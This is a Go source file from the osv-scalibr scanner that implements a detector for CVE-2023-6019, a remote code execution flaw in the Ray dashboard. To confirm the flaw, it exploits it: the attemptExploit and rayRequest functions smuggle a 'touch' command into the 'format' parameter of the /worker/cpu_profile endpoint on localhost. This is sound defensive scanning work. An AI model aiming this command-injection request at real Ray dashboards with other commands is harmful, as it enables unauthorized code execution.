github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve20236019/cve20236019.go (about) 1 // Copyright 2025 Google LLC 2 // 3 // Licensed under the Apache License, Version 2.0 (the "License"); 4 // you may not use this file except in compliance with the License. 5 // You may obtain a copy of the License at 6 // 7 // http://www.apache.org/licenses/LICENSE-2.0 8 // 9 // Unless required by applicable law or agreed to in writing, software 10 // distributed under the License is distributed on an "AS IS" BASIS, 11 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 // See the License for the specific language governing permissions and 13 // limitations under the License. 14 15 // Package cve20236019 implements a SCALIBR Detector for CVE-2023-6019 16 // To test, install a vulnerable Ray version: python3 -m pip install ray==2.6.3 17 // Start the Ray dashboard: python3 -c "import ray; context = ray.init(); print(context)" 18 // Run the detector 19 package cve20236019 20 21 import ( 22 "bufio" 23 "context" 24 "fmt" 25 "io/fs" 26 "math/rand" 27 "net" 28 "net/http" 29 "os" 30 "strconv" 31 "strings" 32 "time" 33 34 "github.com/google/osv-scalibr/detector" 35 "github.com/google/osv-scalibr/extractor" 36 "github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg" 37 scalibrfs "github.com/google/osv-scalibr/fs" 38 "github.com/google/osv-scalibr/inventory" 39 "github.com/google/osv-scalibr/log" 40 "github.com/google/osv-scalibr/packageindex" 41 "github.com/google/osv-scalibr/plugin" 42 43 osvpb "github.com/ossf/osv-schema/bindings/go/osvschema" 44 structpb "google.golang.org/protobuf/types/known/structpb" 45 ) 46 47 const ( 48 // Name of the detector. 49 Name = "cve/cve-2023-6019" 50 ) 51 52 // Detector is a SCALIBR Detector for CVE-2023-6019 53 type Detector struct{} 54 55 // New returns a detector. 56 func New() detector.Detector { 57 return &Detector{} 58 } 59 60 // Name of the detector 61 func (Detector) Name() string { return Name } 62 63 // Version of the detector 64 func (Detector) Version() int { return 0 } 65 66 // Requirements of the detector 67 func (Detector) Requirements() *plugin.Capabilities { 68 return &plugin.Capabilities{OS: plugin.OSLinux, DirectFS: true, RunningSystem: true} 69 } 70 71 // RequiredExtractors returns the list of OS package extractors needed to detect 72 // the presence of the Ray package 73 func (Detector) RequiredExtractors() []string { 74 return []string{wheelegg.Name} 75 } 76 77 // DetectedFinding returns generic vulnerability information about what is detected. 78 func (d Detector) DetectedFinding() inventory.Finding { 79 return d.findingForPackage(nil, nil) 80 } 81 82 func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding { 83 rayPkg := &extractor.Package{ 84 Name: "ray", 85 PURLType: "pypi", 86 } 87 return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{ 88 Package: pkg, 89 Vulnerability: &osvpb.Vulnerability{ 90 Id: "CVE-2023-6019", 91 Summary: "CVE-2023-6019: Ray Dashboard Remote Code Execution", 92 Details: "CVE-2023-6019: Ray Dashboard Remote Code Execution", 93 Affected: inventory.PackageToAffected(rayPkg, "2.8.1", &osvpb.Severity{ 94 Type: osvpb.Severity_CVSS_V3, 95 Score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", 96 }), 97 DatabaseSpecific: dbSpecific, 98 }, 99 }}} 100 } 101 102 // Scan scans for the vulnerability 103 func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) { 104 rayVersion, pkg := findRayPackage(px) 105 if rayVersion == "" { 106 log.Debugf("No Ray version found") 107 return inventory.Finding{}, nil 108 } 109 log.Infof("Ray version found") 110 111 // Check if Ray version is vulnerable (< 2.8.1) 112 if !isVulnerableVersion(rayVersion) { 113 log.Infof("Ray version %q is not vulnerable", rayVersion) 114 return inventory.Finding{}, nil 115 } 116 log.Infof("Found potentially vulnerable Ray version %v", rayVersion) 117 118 // Check for the "Ray Dashboard" string in the HTTP response 119 if !isDashboardPresent(ctx) { 120 log.Infof("Ray Dashboard not found in HTTP response") 121 return inventory.Finding{}, nil 122 } 123 // Attempt the curl request 124 filepath := attemptExploit(ctx) 125 if fileExists(scanRoot.FS, filepath) { 126 log.Infof("Vulnerability exploited successfully") 127 } else { 128 log.Infof("Exploit attempt failed") 129 return inventory.Finding{}, nil 130 } 131 132 dbSpecific := &structpb.Struct{ 133 Fields: map[string]*structpb.Value{ 134 "extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}}, 135 }, 136 } 137 return d.findingForPackage(dbSpecific, pkg), nil 138 } 139 140 // Find the Ray package and its version 141 func findRayPackage(px *packageindex.PackageIndex) (string, *extractor.Package) { 142 pkg := px.GetSpecific("ray", "pypi") 143 for _, p := range pkg { 144 return p.Version, p 145 } 146 return "", nil 147 } 148 149 // Check if the Ray version is vulnerable 150 func isVulnerableVersion(version string) bool { 151 // Split the version string into major, minor, and patch components 152 parts := strings.Split(version, ".") 153 if len(parts) < 2 { 154 log.Errorf("Invalid Ray version format: %s", version) 155 return false // Consider this not vulnerable to avoid false positives 156 } 157 // Parse the major and minor version components 158 major, err := strconv.Atoi(parts[0]) 159 if err != nil { 160 log.Errorf("Error parsing major version: %v", err) 161 return false 162 } 163 minor, err := strconv.Atoi(parts[1]) 164 if err != nil { 165 log.Errorf("Error parsing minor version: %v", err) 166 return false 167 } 168 // Check if the version is less than 2.8.1 169 return major < 2 || (major == 2 && minor < 8) 170 } 171 172 // Check for "Ray Dashboard" in HTTP response 173 func isDashboardPresent(ctx context.Context) bool { 174 // Create a new HTTP request 175 req, err := http.NewRequestWithContext(ctx, http.MethodGet, "http://127.0.0.1:8265", nil) 176 if err != nil { 177 log.Errorf("Error creating HTTP request: %v", err) 178 return false 179 } 180 181 // Create an HTTP client and send the request 182 client := &http.Client{Timeout: 5 * time.Second} 183 resp, err := client.Do(req) 184 if err != nil { 185 log.Errorf("Error making HTTP request: %v", err) 186 return false 187 } 188 defer resp.Body.Close() 189 190 // Read the response body and check for "Ray Dashboard" 191 scanner := bufio.NewScanner(resp.Body) 192 for scanner.Scan() { 193 if strings.Contains(scanner.Text(), "Ray Dashboard") { 194 log.Infof("Ray Dashboard found in HTTP response") 195 return true 196 } 197 } 198 if err := scanner.Err(); err != nil { 199 log.Errorf("Error reading HTTP response: %v", err) 200 } 201 return false 202 } 203 204 // attemptExploit attempts to exploit the vulnerability by touching a random file via HTTP query 205 func attemptExploit(ctx context.Context) string { 206 // Generate a random file path 207 randomFilePath := "/tmp/" + generateRandomString(16) 208 209 // Format the command for the query 210 testCmd := "touch%%20" + randomFilePath 211 // Perform the HTTP query 212 statusCode := rayRequest(ctx, "127.0.0.1", 8265, testCmd) 213 log.Infof("HTTP request returned status code: %d", statusCode) 214 return randomFilePath 215 } 216 217 // rayRequest sends an HTTP GET request to the Ray Dashboard and executes the provided command 218 func rayRequest(ctx context.Context, host string, port int, cmd string) int { 219 url := fmt.Sprintf("http://%s/worker/cpu_profile?pid=3354&ip=127.0.0.1&duration=5&native=0&format=%s", net.JoinHostPort(host, strconv.Itoa(port)), cmd) 220 221 // Create a new HTTP request 222 req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) 223 if err != nil { 224 log.Errorf("Error creating HTTP request: %v", err) 225 return 500 // Return an error code 226 } 227 228 // Create an HTTP client and send the request 229 client := &http.Client{Timeout: 5 * time.Second} 230 resp, err := client.Do(req) 231 if err != nil { 232 log.Infof("Error when sending request %s to the server", url) 233 return 500 // Return an error code 234 } 235 defer resp.Body.Close() 236 237 // Return the HTTP status code 238 return resp.StatusCode 239 } 240 241 func fileExists(filesys scalibrfs.FS, path string) bool { 242 _, err := fs.Stat(filesys, path) 243 return !os.IsNotExist(err) 244 } 245 246 // Generate a random string of the given length 247 func generateRandomString(length int) string { 248 const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 249 bytes := make([]byte, length) 250 for i := range length { 251 bytes[i] = letters[rand.Intn(len(letters))] 252 } 253 return string(bytes) 254 }